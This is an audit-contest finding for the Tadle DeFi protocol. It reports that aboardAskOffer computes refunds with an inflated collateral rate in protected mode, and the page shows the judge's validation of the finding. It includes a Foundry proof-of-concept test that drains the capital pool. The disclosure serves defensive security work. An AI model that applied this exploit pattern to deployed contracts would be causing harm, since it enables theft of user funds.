Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

The aboardAskOffer Function can overestimate the claimable balance

0xphantom

Summary

When a user create a taker for an offer he can then use the stock newly created to list an offer. After that he can abort the offer by calling aboardAskOffer if the offer is the ask type. This function will the credit the sender if there is an amount that have not been used. However this function will overestimate the claimable balance of the sender if when he listed the offer he user a collateral rate hire than the original offer.

Vulnerability Details

When the user list the offer he can use a different collateral rate than the original offer if the settled type is not turbo as we can see here in the listOffer function (L-335) in the PreMarkets contract:

if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}
​

if the settle type of the maker is Protected he can use whatever collateral rate if it's above 10_000 and he will then send

the amount with collateral rate of the previous offer as we can see in this line(346)

/// @dev transfer collateral when offer settle type is protected
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType, offerInfo.collateralRate, _amount, true, Math.Rounding.Ceil
);
​
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.tillIn{value: msg.value}(_msgSender(), makerInfo.tokenAddress, transferAmount, false);
}
​

If the offer is an Ask he can now call aboardAskOffer(L-536) in the PreMarkets contract.

this function will refund the sender by the unused amount of the offer based on the amount the points and the usedPoints.

The problem occure when calculating the transferAmount here(L-595) :

uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
remainingAmount,
true,
Math.Rounding.Floor
);

The function calculated the amount that the sender originally send when he created the offer, however the function do a miscalculation because it calculat the transferAmount withe the collateral Rate of the current offer not the previous one. resulting in a miscalculation of the transferAmount if the settle type is protected.

As we can see in the getDepositAmount function(L-27) in the OfferLibraries library :

function getDepositAmount(
OfferType _offerType,
uint256 _collateralRate,
uint256 _amount,
bool _isMaker,
Math.Rounding _rounding
) internal pure returns (uint256) {
/// @dev bid offer
if (_offerType == OfferType.Bid && _isMaker) {
return _amount;
}
​
/// @dev ask order
if (_offerType == OfferType.Ask && !_isMaker) {
return _amount;
}
​
return
Math.mulDiv(
_amount,
_collateralRate,
Constants.COLLATERAL_RATE_DECIMAL_SCALER,
_rounding
);
}
​

This function will return the remainig amount with muldiv with collateral rate and the scaler but this is not the correct amount if the collateral rate used in the listOffer function is different from the one used in the original offer.

We can the imagine a scenario where the user use this vulnerability to drain the protocol :

Before running the POC you must fix the bug with the allowance that I mentionned in a previous submittion

add this if statement in the _transfer function in the token Manager before the _safe_transfer_from to ensure that the token Manager have enougth allowance :

if (_from == _capitalPoolAddr && IERC20(_token).allowance(_from, address(this)) == 0x0) {
ICapitalPool(_capitalPoolAddr).approve(_token);
}

You can copy paste this test in the PreMarkets.t.sol

function test_withdrawPOC4() public {
// We initialise the capital pool balance before the user do anything.
mockUSDCToken.mint(address(capitalPool), 1);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(marketPlace, address(mockUSDCToken), 1, 1, 10000, 0, OfferType(0), OfferSettleType(0))
);
address offer1Addr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offer1Addr, 1);
//we assert that
address stock1Addr = GenerateAddress.generateStockAddress(1);
// The bug happen because the sender used a hire collateral rate than the one he used to create the offer
preMarktes.listOffer(stock1Addr, 1, 40000);
​
address offer2Addr = GenerateAddress.generateOfferAddress(1);
uint256 balanceOfCapitalPoolBefore = mockUSDCToken.balanceOf(address(capitalPool));
uint256 balanceOfUserBefore = mockUSDCToken.balanceOf(user);
preMarktes.abortAskOffer(stock1Addr, offer2Addr);
//Here the claimable balance of the user is 4 however it should be 3 since the user only send 3 tokens
assertEq(tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType(4)),4);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
vm.stopPrank();
uint256 balanceOfCapitalPoolAfter = mockUSDCToken.balanceOf(address(capitalPool));
uint256 balanceOfUserAfter = mockUSDCToken.balanceOf(user);
//assert that the user drained the protocol
//The user drained all the protcol even the wei that was here before even he do anything
assertEq(balanceOfCapitalPoolAfter, 0);
assertEq(balanceOfUserAfter, balanceOfUserBefore + balanceOfCapitalPoolBefore);
}

Impact

The user can use this to drain all the protocol and any use that aboard an ask type in protected mode can overestimate his balance

Tools Used

Echidna

Recommendations

I thing that the protocol in protected mode should use the _collateral that the sender used when he listed the offer as it is specified in the documentation:

if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType, _collateralRate, _amount, true, Math.Rounding.Ceil
);
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!